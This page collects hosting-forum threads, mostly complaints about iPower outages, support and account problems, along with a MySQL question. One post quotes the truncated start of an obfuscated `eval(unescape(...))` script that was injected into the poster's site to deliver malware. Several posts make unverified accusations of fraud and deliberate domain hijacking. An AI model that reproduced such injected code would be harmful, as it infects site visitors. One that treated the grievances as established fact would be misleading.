Another Negative Review Of Ipower

Jul 3, 2008

Yet another negative review of ipower.... I want to start by saying that this site has been indispensable in helping me come to a decision about changing hosts. The top ten lists I was finding seemed strange and fake, and I'm glad my suspicions about them were confirmed. I love the atmosphere here as well. Everyone is so helpful in their posts.

I've been hosting a personal site with ipower for about 6 years and most of the time it's been fine in terms of pricing and service for what I've needed. About a year ago I started a gaming guild site that is also hosted with them which experienced many unexplained outages. (All I can think is a bandwidth problem, even though it displayed garbled statistics that it was both exceeding and hardly using any.)

They migrated the gaming guild's site to the new platform they're making everyone go to (vDeck 3) with no problems, but it is horrendously slow and tedious to work with. How this could have been considered better is beyond me.

I found my personal site to be down a few days ago and emailed customer service about the problem when it did not clear up after a few hours. I was looking for information on whether it was a problem on my end or theirs and got back this gem - "you need to check the errors with your Web site by your own. If you do not wish to do so you can signup for a new account."

Frustrated with this response, I called up to see what the problem was. Apparently my site is on a server that has now been shut down. They could not migrate it because it is "too complex." The customer service guy could not give me further information beyond that. The only solution is to backup my site, open a new account with them and set the whole thing up again. (The CS guy sounded embarrassed about this.) Also, the data on my webspace will be deleted in seven days. Here's the kicker - I was notified about NONE OF THIS.

I was debating between staying with them and taking the "devil you know" approach (and having to deal with their terrible vdeck 3 platform with mysql/phpmyadmin speeds that make me want to pull my hair out) or switching and possibly running into worse problems down the road. Thanks to these forums, I don't think I'll have to make that kind of a decision now and I learned a lot about web hosting in the process!

After a few hours of research I think I've settled on Hawk Host. I'm really liking what I see when I read about them here, comparing them to other hosts and visiting their support forums. I hope to come back and add a positive review at some point in the future. A very aggravating experience has been completely turned around for me at this point.

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NEGATIVE Review Of Hostchum

Feb 17, 2009

I was a customer of hostchum for about 3 or 4 days.

They ran a special for a really nice VPS and I decided to buy it.

1 gig ram

30 gig disk

400 gig bw


When I first logged in, well... I couldn't.

Submitted a support ticket and got that problem fixed within two hours. "Good support!"

I thought... Next day, I logged in again and installed my cPanel, and noticed that I had been given a TRIAL LICENSE! Submitted a support ticket and a day later that had been fixed. And I should also mention that I was PROMISED, that I would have NO DATA LOSS!

Guess what happened! DATA LOSS! I lost everything that I had set up! And I was promised NO DATA LOSS! I submitted a support ticket and the owner was apparently "stunned" that I lost everything. Well it wasn't THAT big of a loss... So I installed all my websites again and fixed all the features that where lost. Then I had an issue installing Fantastico... Well submit a support ticket (it was an average of 2 tickets a day now...) and I was starting to see slower and slower response times...

Instead of the 30 minute response times I was used to... it was now hours before anybody got back to me. OK, thats not the worst support I have seen. They get back to me and tell me that its fixed... it had been about half a day to fix fantastico... but... they didn't. I was able to install it on my vps whm... but it didn't show up on any cPanel account. Submit another support ticket that day, 12 hours later, fixed.

"Fantastic," I thought, "everything now works!"


The next day I get on one of my new websites to mess around with the wordpress settings, getting ready to upload some of the content I had written... and I can't... the website is completely down!

It was JUST WORKING! I was FURIOUS! I submitted a support ticket over 36 hours ago and the problem has not been fixed... it hasn't even been identified! It took a day to get a response, and the response was:

"and what websites are not working?"

I said: "None of them"

Response: "what websites aren't working?"

I said: "None of them"

My response was 8 hours ago... Havn't received word yet.

I should also mention that I have requested a cancellation and a refund about 8 hours ago too and have not received word from them. Which is why I am writing this horrid review.

I suggest to everybody to not use them. And I would also be VERY suspicious of the positive reviews that I have read about them as well. They could just as easily be employees being told to create an account and write positive reviews.

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CirtexHosting [negative Review]

Nov 21, 2008

Frustrastion w. CirtexHosting [negative review]

G'day everybody!

I actually stumbled onto this site in the search for a new hosting option...

My current site is hosted with cirtexhosting for nearly 3 years. During this time I had occasional problems with downtime and slow responses from support, but nothing like now. Since the hosting is cheap and my site a small (non-profit) travelogue I never really bothered too much...

Now I am battling for almost a week a problem with them which should actually be a simple one. I want to install a forum, and after some research decided on SMF from simplemachines. So on Monday I downloaded it, unpacked it and uploaded it via FTP. Upon first tests all actions (like admin changes, registration of new user, etc.) in the new program crashed - 403 error forbidden. For that day I gave up.

Next morning I went back, checking all permissions (Chmod, etc.) with no change of the problem; finally I posted a question about my problem on the simplemachines forum - nobody could help me...

The rest of this day I couldn't do much due to power outages.

Wednesday I went back to check everything but no changes - still every action resulted in a 403 error.

So I decided to try another forum software, MyBB, downloaded this, unpacked and installed it, and already upon log-in had exactly the same 403 error.

So I finally decided to contact the support explaining the problem and pointing to my suspicion that it was some kind of php permission error. Even the header of my support request read "permission problems at ''" (Years ago I used to earn some money from websites, had my own dedicated server with better access to php features. Back then I had to install other scripts - so I know a little - not much - GRIN. But I don't like to bother support for issues which turn out to be my own stupidity, hence my late cry for help...)

A reply to this enquiry arrived after nearly 90 minutes and didn't reach me until the next morning. Support had decided to alter my .htaccess file resulting in my entire website being down (only a directory listing being displayed) - great
So this day I tried first to look into this problem, and then decided to poke a little more through CPanel (where I had looked several times before in an effort to solve my problem - never really used it before) - in Fantastico I discovered an auto-install of exactly the same version of SMF which I had installed on Monday - I decided to run this (into a third directory for a forum), and upon starting this install I soon received exactly the same 403 error.

In the meantime more emails went back and forth between support and me - the time span between them getting longer and longer.

Finally today I received this answer:


Sorry for the inconvenience, mod_security found some session attack from your script. Please upgrade your script with latest and then check it, otherwise upgrade your cirtex plan to VPS or Dedicated server. For more information

This is not a solution!

Virtual or dedicated hosting are way beyond my means and my needs! After all: the last install from Fantastico is exactly the version they are offering as a free option for my account, and cirtexhosting's front page states in bright orange "We Host Forums".

My last email from around 5 hours ago (cc to remains unanswered. 24/7 support doesn't mean I should have to wait a day for a reply...
An ANGRY Juergen

I am traveling and have only limited internet access - hence this issue is even more pressing. Next week I have to move on because my visa in Paraguay is expiring soon - and all time seems to be wasted...

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Positive/negative Reviews With

Sep 26, 2009

Any one have any thing to share with us regarding the hosting company (located in UK)?

According to their awards page:

"#1 UK Budget Web Hosting Provider - UK Web Host Directory - June 2009"

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About (positive Or Negative)

Apr 22, 2008

I did a search on this site, and read a lot of negative things about

Is it still a 'bad'company or has their service changed?

Is it better to take a hosting with

Because aren't they overselling their packages: 1500 gb (storage) and 15.000 gb (bandwithe)

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Hosts With >5 Years In The Market Without Negative Reviews Here

Sep 21, 2007

hosts with more than five years in the market without sound negative reviews here?

I could not find any negative review about Futurequest and Downtownhost but there must be more.

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Global Financial Crisis 2008 Have Any Negative Impacts On Hosts?

Jan 22, 2009

I am just interested if the Global crisis has brought any negative consequences in web hosting business? Does your own hosing company experience any negative impacts?

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MySQL Query Doing Odd Things - Removing Negative Sign For No Apparant Reason

Jan 10, 2007

I've got a problem with an SQL query that is behaving badly. Its probably really obvious, but I can't see the problem!

I have a table with 3 fields:


money bigint(20)
income int(12)
userID mediumint(7)

I have a row that has a negative money and a value of 0 for income. When I update the money value to add "0" to it, nothing happens (as expected). When I update the money field to add the income field (which is equal to 0) to it, MySQL flips the sign to make the money field positive.

The following queries show the problem:


mysql> SELECT money, income from users where userID=327961;
| money | income |
| -9223372036854775807 | 0 |
1 row in set (0.00 sec)

mysql> UPDATE `users` SET money = money + 0 WHERE userID =327961;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 1 Changed: 0 Warnings: 0

mysql> SELECT money, income from users where userID=327961;
| money | income |
| -9223372036854775807 | 0 |
1 row in set (0.00 sec)

mysql> UPDATE `users` SET money = money + income WHERE userID =327961;
Query OK, 1 row affected, 1 warning (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 1

mysql> SELECT money, income from users where userID=327961;
| money | income |
| 9223372036854775807 | 0 |
1 row in set (0.00 sec)

Notice that there is no negative sign after the third select!!

So, we are saying that executing an update where 0 is specified in the query results in the correct action but if you take the 0 from another field it takes the negative sign away...

This for various reasons is a rather urgent problem. This problem has only appeared after upgrading from MySQL 4.0 to MySQl 5.1. This problem does not occur in MySQL 4.1.

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Ipower - What Do You Think?

Nov 15, 2003

My friend uses's service and it looks pretty good, tell me what you think?

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Anyone Know About Ipower?

Feb 19, 2008

We've been with ipower for 5 years and never really had any problems. Their customer service has never been very good but never noticed any down time. Now that they have moved to their new vdeck our site has been down, email has been down and problems with ftp. Have been reading customer reviews on serveral review sites with horror stories. Now we're trying to decide whether to stay and hope they resolve their issues or jump ship.

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Ipower Is Down !!

Mar 12, 2009

Alright Guys Ipower Is Down,What Do you Guys Make Of This,I think Its Just a minor Glitch and Their gonna Get up Pretty Fast.

What Do you Guys Think?

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Ipower - What Do You Think?

May 15, 2006

I visited prior to switch my hosting plan to Ipowerweb, Cnet gave Ipowerweb a Top 10 recommendation and it did help me made up my mind. Well.. It was a huge mistake and now I'm writing formal complains to BBB and the Attorney General. Also, I CC Cnet customer service and urge them to remove Ipowerweb from their recommendation list.

I used to have my domain with and with my pages hosted by for almost 5 years. They're pretty good but a little pricy. So, with only 1/3 of the price, I switched both my domain & hosting to Ipowerweb on 4/7/2006. Normally, you should receive an email notification with username and password within couple hours so you can start to use the CP. But with Ipowerweb, I waited for 3 days and not getting anything, but the domain was transferred (From Without any clue, I created a ticket to Ipower requesting the transfer status , the support team gave me a response, which was to have me contact their billing department due to authentication issues. Well, base their instruction, I sent another email to their billing and waited for another 3 days without any response. I just canít wait any longer, so I called and waited 47 minutes and finally talked to their billing people, said they need a copy of my Visa-card and my Driver license so they can activate my account. Even that sound a little strange and unreasonable, but with a domain down for almost 10 days, I have to do what they ask me to do, so I attached the photo-scan in the return email.. Well, another 3 days passed.. No response !!.. Then I made another call, they claimed that I need to Fax the Photo-scan over instead of emailing (why didnít they tell me at first place ?) and they gave me a fax number to submit my scan. Well, I tried that number for almost 20 hours (A Modem/Fax Card with automatic dialing for every 5 minutes), for some reason, the fax line was always busy... waited for another 3 days.. Complained over and over but nobody from Ipowerweb even bother to contact me ..

It's now been almost 1.5 month, that I was forced to gave up my domain and to get a new one form my current carrier.. I have to change my email address cause my domain was hijack by Ipowerweb. I sincerely believe they did it on purpose cause thereís no way a company could be so rude and so stupid but still stay in business. Having talking to Ipower People is like talking to a bunch of idiots. Compare with what I'm with now.. Ipower is a joke !!!! Ö Iím waiting till 6/7/2006 to reclaim my domain back, cause base on ICANN rules, a domain can not be transferred again within 60 days. Even though I know itís gonna be difficult cause Ipowerweb had my domain locked, but, Iíll still try and I will bring them to court if necessary.

Know what, Just couple of weeks ago, I got an email from Ipowerweb , they asked my to participate a survey and to rank their service level since I've been with them for over a month now, HELLO, GIVE ME A BREAK !!!! ... I CAN NOT even get access to my CP ...

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Never Use IPower

Jul 18, 2007

I have a VPS hosted through iPower (or more my company does), and it comes with Virtuozzo and Plesk installed. When I started here the VPS was already set up, so I didn't get a say in it. Anyway about a month or so ago I started getting just random errors in Plesk when trying to set up Mailman. I shrugged it off at the time because I was busy designing a website. Now however I have a staggering list of errors, and 2+weeks and 8+ contacts (Live online, phone, and email) with iPower, things are only worse then when they started. So, for your enjoyment, is a sample of our email conversation, copied and pasted from my inbox. Let's just say LiquidWeb got an email from me today, I'd pay double what they are charging for halfway decent customer support.

P.S. I love how they get generic "American" sounding names like Audrey K. or Jim C., etc, yet can't really speak English......

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Aug 12, 2008

About a month ago I opened a new hosting account with IPOWER. I had a bad experience with IPOWERWEB about 4 years ago but since they had my domain subscription I decided to keep things easy and use them to host the domain...bad choice. During the first 30 days I have had nothing but problems. The biggest issue is performance. All I was doing was running a simple php-based message board with about a dozen users. The mySQL performance was so bad that moving from one forum to another took about 45 to 60 seconds. VDeck....don't get me started. After opening 3 to 4 tickets for support on the performance issues I was finally told that they had major mySQL peformance problems and were starting a project to address.

Needless to say I dropped the account within the 30 day trial period and after doing hours and hours of research on this board (thanks!) and a few others, I went with Hawkhost. I could not be happier! The pricing is great, the support is outstanding, and my performance is lightning fast. If you are looking for a basic but solid hosting account you cannot go wrong. Thank you to all who made the Hawkhost recommendation. IPOWER, you can GTH!

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Has Ipower Been Hacked?

Sep 19, 2008

I've had a Ipower hosting account since 2002 and recently even renewed both my service and domain registration.

I recently noticed that a small/odd javascript statement had been added to the bottom of my page and I didnt add it. I noticed this after visiting my page and when my Antivirus alerted me to ' HTML/Dldr.Iframe.DP [virus]' apparently some type of iframe redirect via this script to download malware.

After googling around about "HTML/Dldr.Iframe.DP [virus]" I found another person who has an ipower account mentioning the exact same problem on their site.

Does anybody know anything abou this?

Has anybody heard anything about ipower sites being recently hacked or something?

How and why has this happened? is my site just special and am I lucky? or has this recently also happened to other ipower accounts to?

I've contacted ipower but expect some generic response of no real help.

Most importantly, should I go through my few pages which comprise in fact my quite small site and check to see if they also have been hacked with malicious javascript code? Should I upload new pages? Change my password?

All of my content looks ok and in place, no pages defaced except apprently this small insertion of malicious javascript cod at the bottom of my main index page.

I have pasted just the basic fragment of the code below -

<script>eval(unescape("%77%69%6e%64%6f .....

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Fatcow / Ipower

Aug 21, 2009

I am a bit confused about both. Are they the same company?

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Ajax - IPower VPS

Oct 28, 2007

I recently changed from shared hosting to VPS hosting w/ iPower.

Since the move, my AJAX checkout module stopped working. No coding changes have been made on my end. Could the issue be on the server side? Do I need to enable something in PLESK?

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Transferring Domain From Ipower

Jun 12, 2008

I started my very first website with ipowerweb 29 day's ago.

Now I want to change hosting to hostgator. But how I can transfer domain name? It's not possible as it's only 29 days old.

If I continue with ipowerweb till 60 day's, I wiouldn't be able to eligible for 30 day moneyback guaruntee.

What should I do?

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All My Sites Are Down Since Several Hours At IPower

Feb 17, 2008

Is it normal ? What can I do?

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IPOWER Hosting Is Excellent...

Mar 1, 2009

We are now with Ipower for 18 months, and I would like to say there was very good service from their side... downtime was minimal (1 hour out of 18 months), and their support is excellent - executives speaking perfect english and offering very professional and helpful service 24 x 7
We don't run a huge traffic heavy website, but we do run certain smaller websites, and it was a good service all along.

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Are IPower Hosting That Worst?

Mar 11, 2009

I sign up iPower Hosting package since 5th march 2009, and trying to migrate my database from my current cpanel over their control panel but thing does not works, and I have submit the ticket over there. but the respond from them very slow, and each reply does not help much.

the question has asking repeat again and again, the information I provide also again and again.
see how their respond time for my ticket ...

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Ipower Screws The Pooch Again...

May 14, 2008

...25 days until domain renewal and they deactivate the account...

...30 minutes on hold and they disconnect the call...

...2 hours later I'm on a new host waiting for the rest of the DNS settings to replicate...

...did I mention I have all the functionality, most of the uptime, more access to support and will be saving about $80 a year?

If anyone is still using Ipower web and hasn't had a nightmare dealing with them please let us (read: me) know...

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Ipower And Paypal Cheat Me

Oct 5, 2008

I purchase hosting from ipowerweb. I pay through paypal but after 4 day i not recive any mail from there.

Now i contact support they told me payment never apply.

I open dispute in paypal and also send mail about refund to ipowerweb.

they replied this ....

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Attack Site Ipower

Nov 6, 2009

We have a personal website hosted by Ipower. It has been hacked in the past (it is in frontpage 2003). We recently contacted Ipower as the site wouldn't come up and they said they fixed it. When we went to the actual file, there was pages of prescription drug related add ons which we deleted. The site now works and we did a new page with an advertisement for a party but when we emailed it to people, to our horror, they told us that they couldn't open it as it was labeled as a virus by their computer and an "attack site" by some others. We don't get any such notifications on our home computer (AVG) or on our laptop (McAfee). What do we need to do to make sure that this is an okay site from here on in?

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FatCow, Dot5, PowWeb, IPower: One In The Same!

Aug 5, 2008

I found out today that FatCow, Dot5 Hosting, PowWeb, and iPower Hosting are all part of the smae hosting conglomerate. The parent company is called Endurance International Group. It seems that the companies have gone out of their way to make their connections unpublished, which is very misleading to their customers. However, I recognized some similarities of their websites, and spoke with a representative over the phone who admitted that they were all connected. There are probably other companies too, but they wouldn't give out any more info.

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Picking A Host: IPower Any Good?

May 23, 2006

I couldn't find any good review sites, but lots of places recommended iPowerWeb.

What I want is:

* I want to know who the MOST RELIABLE (uptime) hosts are.

* I want to know who has the best 24/7 telephone tech support.

* I want to only pick hosts that have been around for a while and are profitable so they are less likely to go out of business on me.

* I'm looking for a HIGHLY ETHICAL company that doesn't allow their servers to be used for spam or other $#!+ that gets them blocked. (my current hosting company is currently blocked from some email servers because they let someone using their servers send spam, so now their customers (including me) can't send email to some domains (e.g., I'm rip$#!+ about this) ).

* I am NOT looking for the cheapest deal. I want premium quality by a large, well-established professionally-staffed company; not some guy running a rack of blades in his basement ever since he got laid off in the dot-com bust.

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Ipower Gets A Much Needed Face Lift

May 28, 2009

Ipower have changed their Interface,the new Interface really looks snazzy. The Interface Is really smooth and easy on the eyes,I really thought Ipower needs a facelift desperately.

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Stay Away From Ipower Dedicated Servers!

May 8, 2006

I will warn everyone now! I have posted warnings in the past.

I have had nothing but bad experiences with Ipower. Lately the problems have gotten worse. Even after Ipower says they have fixed the problem, my server crashes again and again. I have been searching for a new company, but have had no luck. I am also looking at getting a lawyer because Ipower has failed to keep their promise and their tech support supervisors are wise asses. They treat you like crap and act like they are the smartest people in the world. They argue with customers and frustrate the hell out of you.

If you have had a problem with Ipower post a reply! We need to steer people away from them.

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Which VPS: Ipower / Steadfast Networks Or Hostgator

May 2, 2007

What do you thing about those companies? Anybody has any strange experience with any of them?

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Did IPower Pay The Commission For The Sales In August

Nov 23, 2008

I am the affiliate partner of iPower.

I have only less than 5 sales per month before July.

I asked iPower how could I be the power player of them.

They told me, I must have to sale more than 10 new clients per month.

So...I promo iPower very hard from August, and I have more than 10 sales in August, September, and October.

And they email to me in 29/October, they ask me how the great sales I can do?? And till now, they do not pay me the commission again.

Or does iPower has some problem?

Maybe my english is not good enough, but I promote iPower very hard.

So...they doubt these sales from my site?

I worry about that they would not pay me the commission, how should I do?

Does iPower pay the commission to everyone for the sales in August??

Anyone have recieved the commission from iPower for the sales in August??

I am a honest affiliate partner, I want my money.

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Ipower - Blatant Over Selling, Trying To Kick Me Off With Fake TOS

Dec 16, 2008

Ipower - blatant over selling, trying to kick me off with fake TOS

I am currently being ignored on live chat with Ipower.

They issued me with possibly the stupidest TOS violation imaginable. They claimed that I am using my web space for storing files which is not allowed - it must be site content. The links to the files are public on the site. They have admitted, actually admitted, that the TOS is fake. Yet they have just suspended my directories.

The real reason is because they are over selling disk space. Our contract gives me 2 Tb and I am daring to use 25% of that space. They have told me - straight out - they want me off their server because I am using too much of what I paid for.

Why do web hosts like Ipower believe that they can just ignore the law like this? It is false advertising, fraud and breach of contract. They have expressed their contempt for the law in plain English. What is it with these people? Why must I sue them to have this blatantly stupid matter resolved?

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